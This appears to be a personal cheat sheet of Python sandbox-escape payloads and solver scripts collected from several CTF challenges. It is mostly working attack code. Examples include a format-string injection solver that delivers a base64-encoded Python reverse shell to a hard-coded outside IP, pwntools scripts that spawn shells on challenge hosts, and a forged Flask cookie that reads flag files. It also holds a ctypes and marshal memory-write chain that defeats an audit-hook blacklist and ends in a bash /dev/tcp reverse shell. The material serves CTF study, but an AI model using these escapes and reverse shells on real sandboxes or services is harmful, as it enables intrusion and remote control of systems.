Skip to content

Categories

Pyjail

golfadvancedrestore builtinshttps://github.com/BYU-CSA/BYUCTF-2023/tree/main/builtins-2imaginary-ctf 2023https://peps.python.org/pep-0560/#:~:text=The idea of __class_getitem__ is simple%3A it is,to a...

Created

Updated

22 min read

Reading time

1 categories

Topics covered

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

Pyjail
Python 3.12.9 (main, Feb  5 2025, 01:31:18) [GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 
>>> import os; from unittest.mock import sentinel; [[] for os.environ.encodekey in [os.system]]
[[]]
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
NameError: name 'o' is not defined. Did you mean: 'os'?
>>> os.environ[sentinel.sh.name]
$ 
$ ls

Getting into the main context from library context in python format string exploit

Event Nameb01lersc 2025
GitHub URL-
Challenge Namelink-shortener
Attachments
References

vulnerable code
    def __repr__(self) -> str:
        return f"User(id={self.id!r}, name={self.name!r}, email={self.email!r})".format(self=self)
solver
import base64
import httpx
import asyncio, random, re



URL = "https://link-shortener-5e64b1f3ce3d2c9d.instancer.b01lersc.tf/"

class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.AsyncClient(base_url=url, follow_redirects=True)
    def login(self, username: str, password: str):
        return self.c.post("/login", data={"name": username, "password": password})
    def register(self, username: str, password: str, email: str):
        return self.c.post("/register", data={"name": username, "password": password, "email": email})
    def create(self, url: str):
        return self.c.get("/create", params={"url": url})
    def all(self):
        return self.c.get(f"/all")
    def configure(self, token: str, base_url: str, new_token: str, ukwargs: dict, pkwargs: dict):
        return self.c.post("/configure", json={"token": token, "base_url": base_url, "new_token": new_token, "ukwargs": ukwargs, "pkwargs": pkwargs})
    def index(self):
        return self.c.get("/")
class API(BaseAPI):
    async def get_token(self):
        res = await self.create(f"https://foo.com/{{self.__init__.__globals__[__builtins__][__spec__].__init__.__globals__[sys].modules[__main__].app.config[TOKEN]}}")
        print(res.text)
        res = await self.all()
        print(res.text)
        return re.findall(r"url='https://foo.com/(\w+)", res.text)[0]

async def main():
    api = API()
    # username = random.randbytes(10).hex()   
    # password = random.randbytes(10).hex()
    # email = f"{username}@dimas.com"
    # await api.register(username, password, email)
    # print(res.text)
    # await api.login(username, password)
    # print(res.text)
    token = await api.get_token()
    print(token)
    # steal flag
    payload = '''python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("3.142.167.54",19907));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")' '''
    payload_base64 = base64.b64encode(payload.encode()).decode()
    res = await api.configure(token, "https://foo.com", "bar", {"primaryjoin": "__import__('os').system('echo " + payload_base64 + " | base64 -d | sh')"}, {})
    print(res.text)
    res = await api.index()
    print(res.text)

if __name__ == "__main__":
    asyncio.run(main())

Cheat sheet

(i:=__import__,b:=i("builtins"),s:=setattr,s(b,"compile",lambda*a,**k:"import os;os\\56system('sh')"),s(b,"isinstance",lambda*a:1),s(b,"str",lambda x:x or"x"),i("xml"))
setattr(__import__('__main__'), 'input', lambda a: __import__(setattr(__import__("sys"),"modules",{"_tkinter":__import__("abc")}) or setattr(__import__("abc"),"TclError","") or setattr(__import__("abc"),"TK_VERSION","1\\x2e1") or setattr(__import__("abc"),"TCL_VERSION","1\\x2e1") or setattr(__import__("abc"),"READABLE", False) or setattr(__import__("abc"),"WRITABLE", False) or setattr(__import__("abc"),"EXCEPTION", False) or setattr(__import__("abc"),"create", (lambda a,b,c,d,e,f,g,h : __import__("abc"))) or setattr(__import__("abc"),"getvar", (lambda a: "1\\x2e1")) or setattr(__import__("abc"),"createcommand", (lambda a,b: False)) or setattr(__import__("abc"),"call", (lambda a,b,c,d,e: False)) or setattr(__import__("os\\x2epath",fromlist=1),"join",(lambda a,b : "/app/flag\\x2etxt" if("\\x2epy" in b) else "")) or __import__("tkinter\\x2e__main__")))
setattr(__import__("sys"),"argv",["","/app/flag\\x2etxt"]) or setattr(__import__("sys"),"modules",{"idlelib\\x2epyshell":__import__("quopri")}) or __import__("idlelib\\x2eidle")

golf

(lambda i,s:(s(i("builtins"),"staticmethod",lambda o:(s(i('__main__'),'input',lambda*a:[s(0,x,0)for x in o("/app/flag\\x2etxt")]),o)[1]),i("_pyio")))(__import__,setattr)

advanced

setattr(__import__("sys"), "executable", "/usr/bin/tclsh")
__import__("test\\x2esubprocessdata\\x2esigchild_ignore")

puts [read [open "/app/flag.txt" r]]

restore builtins

(__builtins__:=__import__('code'))==(lambda:interact())() __import__("os").system("cat flag*")
(__builtins__:=__import__('builtins'))and(lambda:(eval(input('pwn:'))))()
command = lambda x: "cat *.txt"
import_list = []
os_list = []
x=__build_class__=lambda *_:_
g=x.__globals__
b=__builtins__
b|=g
type_class = lambda x: [].__class__.__class__
get_import = lambda x: x[0].register.__globals__["__builtins__"]["__import__"]
os_str = lambda x: "os"
@import_list.append
@get_import
@[].__class__.__class__.__subclasses__
@type_class
class X:
    ...
@os_list.append
@import_list[0]
@os_str
class X:
    ...
@os_list[0].system
@command
class X:
    ...

bypass __ using __

https://github.com/BYU-CSA/BYUCTF-2023/tree/main/builtins-2

`().__class__.__bases__[0].__subclasses__()[124].get_data('.','flag.txt')`

CrewCTF 2023

startship-1

from pwn import *

#p = process('./sandbox.py')
p = remote("starship-1.chal.crewc.tf", 40003)
p.sendline('@__build_class__.__self__.exec\\r@__build_class__.__self__.input\\rclass\\x0cx:pass')
p.sendline('__build_class__.__self__.__import__("os").system("sh")')
p.interactive()

Starship

[[re.A[i] for re.RegexFlag.__getitem__ in [[[re.A[i] for re.RegexFlag.__getitem__ in [sys.modules.get]] for i in [[[re.A[i] for re.RegexFlag.__getitem__ in [str]] for i in [re.A[[i for i in [re.X.value^re.U.value^re.M.value^re.L.value^re.I.value^re.T.value, re.X.value^re.U.value^re.S.value^re.I.value^re.T.value]]] for re.RegexFlag.__getitem__ in [bytearray]]][re.A.value^re.A.value][re.A.value^re.A.value][re.M.value^re.L.value:re.I.value^re.L.value^re.M.value]]][re.A.value^re.A.value][re.A.value^re.A.value].system]] for i in [[[re.A[i] for re.RegexFlag.__getitem__ in [str]] for i in [re.A[[i for i in [re.X.value^re.U.value^re.S.value^re.I.value^re.T.value, re.X.value^re.U.value^re.M.value]]] for re.RegexFlag.__getitem__ in [bytearray]]][re.A.value^re.A.value][re.A.value^re.A.value][re.M.value^re.L.value:re.I.value^re.L.value^re.M.value]]]

Only get and set allowed in pydash

imaginary-ctf 2023

#!/usr/bin/env python3
import pydash


class Dummy:
    pass


if __name__ == "__main__":
    obj = Dummy()
    while True:
        src = input("src: ")
        dst = input("dst: ")
        pydash.set_(obj, dst, pydash.get(obj, src))

https://peps.python.org/pep-0560/#:~:text=The idea of __class_getitem__ is simple%3A it is,to avoid GenericMeta.__getitem__ for things like Iterable [int].

__reduce_ex__
__class__.__class_getitem__
__class__.3.0
newobj
newobj.__getattribute__
__class__.__class_getitem__
__class__.__builtins__.exec
__class__.__getattr__
import os; os\\.system('sh')
foobar
src: __reduce_ex__
dst: __class__.__class_getitem__
src: __class__.3.0
dst: newobj
src: newobj.__getattribute__
dst: __class__.__class_getitem__
src: __class__.__builtins__.exec
dst: __class__.__getattr__
src: import os; os\\.system('sh')
dst: foobar
//add reduce_ex to book getitem
src: __reduce_ex__
dst: __class__.__class_getitem__

//create new obj and add "literally i forgor what object it is" to new obj
src: __class__.3.0
dst: newobj

// add gettattr from newobj to book obj class getitem to bypass the waf
src: newobj.__getattribute__
dst: __class__.__class_getitem__

// this is time to get code execution using exec :)
// we already bypass it using getitem before, now we can access builtins and add exec to magic method getattr
src: __class__.__builtins__.exec
dst: __class__.__getattr__

// exec :skull:
src: import os; os\\.system('sh')
dst: foobar

Isn't __builtins__ blacklisted inside the pydash module?

copied from pydash

def _base_get_object(obj, key, default=UNSET):
    value = _base_get_item(obj, key, default=UNSET)
    if value is UNSET:
        _raise_if_restricted_key(key)
        value = default
        try:
            value = getattr(obj, key)
        except Exception:
            pass
    return value

so this means it won't be triggered if you use getitem

flask-unsign --sign --cookie "{'books': {'
__class__.__class_getitem__': '\\!__reduce_ex__', ' newobj':

'\\!__class__.3.0', ' __class__.__class_getitem__':
'\\!newobj.__getattribute__', ' __class__.__class_getitem__':
'\\!newobj.__getattribute__', ' __class__.__class_getitem__':
'\\!__class__.__builtins__.eval', ' abc':
'\\!__class__.eval(\\"getattr(getattr(__import__(\\'os\\'),\\'popen\\')
(\\'cat /flag*\\'),\\'read\\')()\\")'}}" --secret
'SameAsTheServerSecret'

deletion

imaginary-ctf 2023

#!/usr/bin/env python3

canary = "You will not get the flag!"

inp = input("Enter your payload: ")
reward = input("Enter your reward: ")

for c in inp:
  if ord(c) < ord('\\n') or ord(c) > ord('~'):
    print("Fail!")
    exit()

if any([n in inp for n in "dfjlquvwz=_.~!@#$%^&*()[]{}\\n;\\"'?<>/\\\\-+|`0123456789 \\t"]):
  print("Fail!")
  exit()

d = ['__name__', '__doc__', '__package__', '__loader__', '__spec__', '__build_class__', '__import__', 'abs', 'all', 'any', 'ascii', 'bin', 'breakpoint', 'callable', 'chr', 'compile', 'delattr', 'dir', 'divmod', 'eval', 'exec', 'format', 'getattr', 'globals', 'hasattr', 'hash', 'hex', 'id', 'input', 'isinstance', 'issubclass', 'iter', 'aiter', 'len', 'locals', 'max', 'min', 'next', 'anext', 'oct', 'ord', 'pow', 'print', 'repr', 'round', 'setattr', 'sorted', 'sum', 'vars', 'None', 'Ellipsis', 'NotImplemented', 'False', 'True', 'bool', 'memoryview', 'bytearray', 'bytes', 'classmethod', 'complex', 'dict', 'enumerate', 'filter', 'float', 'frozenset', 'property', 'int', 'list', 'map', 'object', 'range', 'reversed', 'set', 'slice', 'staticmethod', 'str', 'super', 'tuple', 'type', 'zip', '__debug__', 'BaseException', 'Exception', 'TypeError', 'StopAsyncIteration', 'StopIteration', 'GeneratorExit', 'SystemExit', 'ModuleNotFoundError', 'OSError', 'EnvironmentError', 'IOError', 'EOFError', 'RuntimeError', 'RecursionError', 'NotImplementedError', 'UnboundLocalError', 'AttributeError', 'SyntaxError', 'IndentationError', 'TabError', 'LookupError', 'IndexError', 'KeyError', 'ValueError', 'UnicodeError', 'UnicodeEncodeError', 'UnicodeDecodeError', 'UnicodeTranslateError', 'AssertionError', 'ArithmeticError', 'FloatingPointError', 'OverflowError', 'ZeroDivisionError', 'SystemError', 'ReferenceError', 'MemoryError', 'BufferError', 'Warning', 'UserWarning', 'EncodingWarning', 'DeprecationWarning', 'PendingDeprecationWarning', 'SyntaxWarning', 'RuntimeWarning', 'FutureWarning', 'ImportWarning', 'UnicodeWarning', 'BytesWarning', 'ResourceWarning', 'ConnectionError', 'BlockingIOError', 'BrokenPipeError', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionRefusedError', 'ConnectionResetError', 'FileExistsError', 'FileNotFoundError', 'IsADirectoryError', 'NotADirectoryError', 'InterruptedError', 'PermissionError', 'ProcessLookupError', 'TimeoutError', 'open', 'quit', 'exit', 'copyright', 'credits', 'license', 'help']
dl = vars(__builtins__)
g = list(globals().keys())
gl = globals()

for n in d:
  if not n == "exec":
    del dl[n]
for n in g:
  if not n in ["canary", "inp", "reward"]:
    del gl[n]

del g
del gl

exec(inp)

try:
  canary
except:
  exec(reward)

from pwn import *

# x = process(['python3','main.py'])
# nc deletion.chal.imaginaryctf.org 1337
x = remote('deletion.chal.imaginaryctf.org', 1337)

x.sendline(b"try:yyy\\rexcept\\x0cNameError\\x0cas\\x0ccanary:pass")
payload = b"""[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in f"{x}" and not "_Helper" in f"{x}" ][0]["sys"].modules["os"].system("/bin/bash")""".replace(b'\\n',b'\\r')
# x.interactive()
x.sendline(payload)
x.interactive()

You shall not call! (misc) (https://2023.imaginaryctf.org/)

https://gist.github.com/lebr0nli/eec8f5addd77064f1fa0e8b22b6a54f5

import __main__
import pickle

stack_0 = __main__

stack_0.__dict__.update(
    {
        "__main__": __main__.pickle,
    }
)

print(__main__)

stack_0.__dict__.update(
    {
        "__main__": __main__.codecs,
    }
)

print(__main__)

You shall not call Revenge (misc) (https://2023.imaginaryctf.org/)

https://gist.github.com/lebr0nli/53216005991d012470c0bde0f38952b1

pyjail 3 (PWN) (Bauhinia CTF 2023)

backup_len = len
backup_eval = eval
backup_print = print
backup_input = input

globals()['__builtins__'].__dict__.clear()

while True:
	input = backup_input()
	if backup_len(input) > 78 or '[' in input or ']' in input or '{' in input or '}' in input:
		backup_print('[You failed to break the jail]')
	else:
		backup_print(backup_eval(input,{'__builtins__':{}},{}))

https://gist.github.com/lebr0nli/de6ceb1ca81e8170be7ba79cc702bf72

(s:=(c:=().__class__.__subclasses__().pop(-2)).__class__.__setattr__)(c,'s',s)
(c:=().__class__.__subclasses__().pop(-2)).s(c,'x',c.__repr__)
(c:=().__class__.__subclasses__().pop(-2)).s(c,'x',c.x.__globals__)
(c:=().__class__.__subclasses__().pop(-2)).s(c,'x',c.x.__getitem__)
(c:=().__class__.__subclasses__().pop(-2)).s(c,'x',c.x('sys'))
(c:=().__class__.__subclasses__().pop(-2)).s(c,'x',c.x.modules)
(c:=().__class__.__subclasses__().pop(-2)).s(c,'x',c.x.__getitem__)
(c:=().__class__.__subclasses__().pop(-2)).s(c,'x',c.x('os'))
(c:=().__class__.__subclasses__().pop(-2)).s(c,'x',c.x.system)
(c:=().__class__.__subclasses__().pop(-2)).x('sh')
# 6actf{d3f1ni7e1y_n0t_c0py1n9_hkcertCTF2021_pyj4il_511f3ad4f3627b38d77cf4ab26c39ead}
(c:=__builtins__).update(b=c),(e:=().__class__).__class__('',(e,),c)
(e:=().__class__).__subclasses__().pop().b.update(d=e.__base__.__subclasses__)
(a:=().__class__.__subclasses__().pop().b).update(d=a.pop('d')().pop(133))
(a:=().__class__.__subclasses__().pop().b).update(d=a.pop('d').__init__)
(a:=().__class__.__subclasses__().pop().b).update(d=a.pop('d').__globals__)
().__class__.__subclasses__().pop().b.pop('d').pop('system')('/bin/sh')

Accesing globar vars

https://github.com/SSTF-Office/SamsungCTF/blob/main/2023_Hackers_Playground/pyjail/writeup.md

[a:=[],a.append({}[b.gi_frame.f_back.f_back.f_globals['flag']]for b in a),*a[0]]

Byte code

https://sekai.team/blog/lactf-2023/pycjail/

Bypass call with no __builtins__ python2

class Metaclass:
    __init__ = lambda*x:None
    __class__ = [].__class__.__base__
    __invert__ = [].__class__.__base__.__subclasses__

class Subclass:
    __metaclass__ = Metaclass

s=~Subclass

class Metaclass:
    __init__ = lambda*x:None
    __class__ = [].__class__.__base__
    __getitem__ = s[40]

class Subclass:
    __metaclass__ = Metaclass

s = Subclass['/etc/passwd']

class Metaclass:
    __init__ = lambda*x:None
    __class__ = [].__class__.__base__
    __invert__ = s.read

class Subclass:
    __metaclass__ = Metaclass

s = ~Subclass
{}[s]
class Metaclass:
    __init__ = lambda*x:None
    __class__ = [].__class__.__base__
    __invert__ = [].__class__.__base__.__subclasses__

class Subclass:
    __metaclass__ = Metaclass

x=~Subclass
Metaclass.__getitem__ = x[40]
y=Subclass['/etc/passwd']
Metaclass.__invert__ = y.read
{}[~Subclass]

Bypass Call without __builtins__ python 3

c = [].__𝔠𝔩𝔞𝔰𝔰__.__𝔠𝔩𝔞𝔰𝔰__
s = c.__𝔰𝔲𝔟𝔠𝔩𝔞𝔰𝔰𝔢𝔰__
__𝔟𝔲𝔦𝔩𝔱𝔦𝔫𝔰__ |= {'_''_build_class_''_': lambda*x:x}

@s
@lambda*x:c
class A:pass

__𝔟𝔲𝔦𝔩𝔱𝔦𝔫𝔰__ |= A[0].𝔯𝔢𝔤𝔦𝔰𝔱𝔢𝔯.__𝔟𝔲𝔦𝔩𝔱𝔦𝔫𝔰__
license.__class__.__invert__ = 𝔦𝔫𝔭𝔲𝔱
help.__class__.__getitem__ = 𝔢𝔳𝔞𝔩
help[~license]

get builtins back

().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__
[(e.__init__.__globals__)for(e)in(''.__class__.__base__.__subclasses__())if("'_sitebui""ltins.")in(f"{e}")and("tter")in(f"{e}")]['e'=='s']['__buil''tins__']['__imp''ort__']('co''de').interact()

using a class to get os

SomeClass.__class__.__subclasses__([].__class__.__base__)[140].__init__.__globals__['os'].system('sh')

UDCTF ## Python Jail Harder

#!/usr/bin/env python

blacklist = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

security_check = lambda s: any(c in blacklist for c in s) or s.count('_') > 50

def main():
    while True:
        cmds = input("> ")
        if security_check(cmds):
            print("nope.")
        else:
            exec(cmds, {'__builtins__': None}, {})


if __name__ == "__main__":
    main()

solve

(𝔱:=()==(), [].__𝔠𝔩𝔞𝔰𝔰__(().__𝔠𝔩𝔞𝔰𝔰__.__𝔟𝔞𝔰𝔢__.__𝔰𝔲𝔟𝔠𝔩𝔞𝔰𝔰𝔢𝔰__()[-~𝔱*𝔱*~𝔱-𝔱].__𝔦𝔫𝔦𝔱__.__𝔤𝔩𝔬𝔟𝔞𝔩𝔰__.𝔦𝔱𝔢𝔪𝔰())[-(~𝔱*~𝔱*~𝔱+~𝔱+~𝔱*~𝔱*~𝔱*~𝔱*~𝔱+~𝔱+~𝔱-𝔱)][-𝔱]([].__𝔡𝔬𝔠__[(~𝔱*~𝔱*~𝔱*~𝔱*~𝔱*~𝔱)+(~𝔱*~𝔱*~𝔱*~𝔱)+(~𝔱*~𝔱*~𝔱*~𝔱)-(~𝔱*~𝔱)-𝔱:(~𝔱*~𝔱*~𝔱*~𝔱*~𝔱*~𝔱)+(~𝔱*~𝔱*~𝔱*~𝔱)+(~𝔱*~𝔱*~𝔱*~𝔱)+𝔱:~𝔱*~𝔱+𝔱]))

CJ2023 dictjail

#!/usr/bin/env python3
import re

restricted = '!"#$%&\\'+,-/\\\\;<>?@*^`|()~0123456789'
code = input('>>> ')

assert (code.count('_') < 30)
assert (len(code) < 150)

if not re.findall('[%s]' % re.escape(restricted), code):
    try:
        eval(code, {'__builtins__': None, '_': {}.__class__.__subclasses__()})
    except:
        pass
[x:=f for f in _]==[__builtins__:=x.total.__builtins__][[x[x]for x.__class_getitem__ in[x[_]for x.__class_getitem__ in[lambda x:[help]]][_==x]]==_]

eval palindrome

#!/bin/env python3

from pwn import *
import sys

context.log_level = "INFO"

def init():
   if args.RMT:
       p = remote(sys.argv[1], sys.argv[2])
   else:
       p = process()
   return Exploit(p), p


class Exploit:
   def __init__(self, p: process):
       self.p = p

   def debug(self, script=None):
       if not args.RMT and args.DBG:
           if script:
               attach(self.p, "\\n".join(script))
           else:
               attach(self.p)


# "+\\"+)(tniopkaerb+"+breakpoint()+"\\+"

def make_palindrome(input_str):
   # Create a palindrome by appending the reverse of the input string
   a = input_str
   b = input_str[::-1]
   if a[0] == b[0]:
       return a + b[1:]
   return a+b

def payload_palindrome(inpstr):
   for i in range(0, 128):
       if any([chr(i)==j for j in ['\\\\']]):
           continue
       x1 = f"'{chr(i)}\\\\'+"
       x2 = "+'"
       cmd = inpstr[::-1]
       payload = make_palindrome(x1+cmd+x2)
       if sum(payload.encode())%256 ==  69:
           return payload

x, p = init()
p.sendline(payload_palindrome("str(a:=str)"))
p.sendline(payload_palindrome("a(c:=eval)"))
p.sendline(payload_palindrome("a(d:=input)"))
p.sendline(payload_palindrome("a(c(d()))"))

p.interactive()

Get __builtins__ back using gi_frame

## L3HCTF 2024

import sys
import os

codes=r'''
def factorization(n):
    def sss(builtins):
        def int(i):
            if i == "696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863":
                return 100001*100001
            else:
                return 100001
        builtins.int = int
    a=[]
    a.append(b.gi_frame.f_back.f_back.f_back.f_globals[('_''_builtins_''_')]for b in a)
    sss(*a[0])
    return 1,2
'''

try:
    codes.encode("ascii")
except UnicodeEncodeError:
    print("not valid ascii")
    exit(0)

if "__" in codes:
    print("contain __")
    exit(0)

codes+="\\nres=factorization(c)"
locals={"c":"696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449variable444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863","__builtins__": None}
res=set()

def blackFunc(oldexit):
    def func(event, args):
        blackList = ["process","os","sys","interpreter","cpython","open","compile","__new__","gc"]
        for i in blackList:
            print((event + "".join(str(s) for s in args)).lower())
            if i in (event + "".join(str(s) for s in args)).lower():
                print(i)
                oldexit(0)
    return func

code = compile(codes, "<judgecode>", "exec")
print("testing1")
sys.addaudithook(blackFunc(os._exit))
print("testing2")
exec(code,{"__builtins__": {"print": print}},locals)
print(locals)
p=int(locals["res"][0])
q=int(locals["res"][1])

print(p, q, p*q)
if(p>1e5 and q>1e5 and p*q==int("696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863")):
    print("pachvdbywmluxfiresoq!",end="")
else:
    print("aczvujlhespfqtinrdwx!",end="")

get revershell without "sys" attribute

l3hctf 2024 intractable problem revenge

In addition, there is another way to solve the problem. The string object in CPython refers to a PyASCIIObject memory entity in the C underlying heap. The same string has the same entity, so we can use the ctypes library to achieve arbitrary reading and writing of memory and replace the memory. The value pointed to by the string in the string replaces the value that is finally verified. Note that import cannot be used in this question because os and open cannot be used. It can be loaded through loader.load_module . At the same time, the header length of PyASCIIObject is 48, and we need to rewrite the payload. The payload is as follows:

https://s1um4i-official.feishu.cn/docx/QeGGdeyuhoR6kuxCOj8c44wRnne

more detailed writeup here https://hust-l3hsec.feishu.cn/docx/MZ8SdwSoPo3cBTxOxbGcuUBun4c

a = []
g = ((g.gi_frame.f_back.f_back, gl:=g.gi_frame.f_back.f_back.f_globals) for g in a)
a.append(g)
g.send(None)

b = gl['_' '_builtins_' '_']

object = b.object
bytearray = b.bytearray
id = b.id
print = b.print
bytes = b.bytes
input = b.input
len = b.len
hex = b.hex

importer = b.getattr(b, "_" * 2 + "loader" + "_" * 2)
print(importer)
marshal = importer.load_module("marshal")

def p64(addr):
    return addr.to_bytes(8, "little")

const_tuple = ()

fake_bytearray = bytearray(
    p64(0x41414141)
    + p64(id(bytearray))  # ob_refcnt
    + p64(0x7FFFFFFFFFFFFFFF)  # ob_type
    + p64(0)  # ob_size (INT64_MAX)
    + p64(0)  # ob_alloc (doesn't seem to really be used?)
    + p64(0)  # *ob_bytes (start at address 0)
    + p64(0)  # *ob_start (ditto)  # ob_exports (not really sure what this does)
)

fake_bytearray_ptr_addr = id(fake_bytearray) + 0x20
const_tuple_array_start = id(const_tuple) + 0x18
offset = (fake_bytearray_ptr_addr - const_tuple_array_start) // 8
print("Offset:", offset)

def dummy():
    pass

tt = b'e3000000000000000000000000000000000000000040000000f30a00000090aa90bb90cc64dd5300a9007202000000720200000072020000007202000000da00720300000000000000f300000000'
def i2h(x):
    global b
    return b.hex(x)[2:].rjust(2, "0").encode()
tt = tt.replace(b"aa", i2h((offset >> 24) & 0xFF)).replace(b"bb", i2h((offset >> 16) & 0xFF)).replace(b"cc", i2h((offset >> 8) & 0xFF)).replace(b"dd", i2h((offset >> 0) & 0xFF))

print(tt)
bs = bytes.fromhex(tt.decode())
co = marshal.loads(bs)
b.setattr(dummy, "_" * 2 + "code" + "_" * 2, co)
magic = dummy()

# sanity check
print(magic[id("peko") : id("peko") + 64])

target_strs = [
    "import",
    "spawn",
    "process",
    "os",
    "sys",
    "cpython",
    "fork",
    "open",
    "interpreter",
    "ctypes",
    "compile",
    "gc",
    "_" * 2 + "new" + "_" * 2,
]
for s in target_strs:
    addr = id(s)
    magic[addr + 48 : addr + 48 + len(s)] = b"a" * len(s)

os = b.getattr(b, "_" * 2 + "import" + "_" * 2)("os")
os.system('bash -c "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/1234 0>&1"')

factorization = lambda x: (1,1)

python >= 3.11

a = []
g = ((g.gi_frame.f_back.f_back, gl:=g.gi_frame.f_back.f_back.f_globals) for g in a)
a.append(g)
g.send(None)

b = gl['_' '_builtins_' '_']

object = b.object
bytearray = b.bytearray
id = b.id
print = b.print
bytes = b.bytes
input = b.input
len = b.len
hex = b.hex

importer = b.getattr(b, "_" * 2 + "loader" + "_" * 2)
print(importer)
marshal = importer.load_module("marshal")

def p64(addr):
    return addr.to_bytes(8, "little")

const_tuple = ()

fake_bytearray = bytearray(
    p64(0x41414141)
    + p64(id(bytearray))  # ob_refcnt
    + p64(0x7FFFFFFFFFFFFFFF)  # ob_type
    + p64(0)  # ob_size (INT64_MAX)
    + p64(0)  # ob_alloc (doesn't seem to really be used?)
    + p64(0)  # *ob_bytes (start at address 0)
    + p64(0)  # *ob_start (ditto)  # ob_exports (not really sure what this does)
)

fake_bytearray_ptr_addr = id(fake_bytearray) + 0x20
const_tuple_array_start = id(const_tuple) + 0x18
offset = (fake_bytearray_ptr_addr - const_tuple_array_start) // 8
print("Offset:", offset)

def dummy():
    pass

tt = b'630000000000000000000000000100000003000000730a00000090aa90bb90cc64dd53002800000000280000000028000000007300000000750c000000706174682f746f2f66696c65750500000064756d6d79750500000064756d6d792900000073070000008000d8040880447300000000'
def i2h(x):
    global b
    return b.hex(x)[2:].rjust(2, "0").encode()
tt = tt.replace(b"aa", i2h((offset >> 24) & 0xFF)).replace(b"bb", i2h((offset >> 16) & 0xFF)).replace(b"cc", i2h((offset >> 8) & 0xFF)).replace(b"dd", i2h((offset >> 0) & 0xFF))

print(tt)
bs = bytes.fromhex(tt.decode())
co = marshal.loads(bs)
b.setattr(dummy, "_" * 2 + "code" + "_" * 2, co)
magic = dummy()

print("sanity check")
test = magic[id("peko") : id("peko") + 64]
padding = test.find(b"peko")
print("padding:", padding)

target_strs = [
    "import",
    "spawn",
    "process",
    "os",
    "sys",
    "cpython",
    "fork",
    "open",
    "interpreter",
    "ctypes",
    "compile",
    "gc",
    "_" * 2 + "new" + "_" * 2,
]
for s in target_strs:
    addr = id(s)
    magic[addr + padding : addr + padding + len(s)] = b"a" * len(s)

os = b.getattr(b, "_" * 2 + "import" + "_" * 2)("os")
os.system('id')

my testing:

a = []
g = ((g.gi_frame.f_back.f_back, gl:=g.gi_frame.f_back.f_globals) for g in a)
a.append(g)
g.send(None)

b = gl['_' '_builtins_' '_']

object = b.object
bytearray = b.bytearray
id = b.id
print = b.print
bytes = b.bytes
input = b.input
len = b.len
hex = b.hex

importer = b.getattr(b, "_" * 2 + "loader" + "_" * 2)
print(importer)
marshal = importer.load_module("marshal")

def p64(addr):
    return addr.to_bytes(8, "little")

const_tuple = ()

fake_bytearray = bytearray(
    p64(0x41414141)
    + p64(id(bytearray))  # ob_refcnt
    + p64(0x7FFFFFFFFFFFFFFF)  # ob_type
    + p64(0)  # ob_size (INT64_MAX)
    + p64(0)  # ob_alloc (doesn't seem to really be used?)
    + p64(0)  # *ob_bytes (start at address 0)
    + p64(0)  # *ob_start (ditto)  # ob_exports (not really sure what this does)
)

fake_bytearray_ptr_addr = id(fake_bytearray) + 0x20
const_tuple_array_start = id(const_tuple) + 0x18
offset = (fake_bytearray_ptr_addr - const_tuple_array_start) // 8
print('offset:',offset)
def dummy():
    pass

print(marshal.dumps(dummy.__code__,0).hex())
# <https://github.com/python/cpython/blob/3.12/Python/marshal.c>
# <https://github.com/python/cpython/blob/3.12/Python/errors.c>
# <https://github.com/python/cpython/blob/3.12/Objects/object.c>
# 72:r: TYPE_REF
# e3:   TYPE_CODE v4
# 63:c: TYPE_CODE
# 73:s: TYPE_STRING
# f3:s: TYPE_STRING
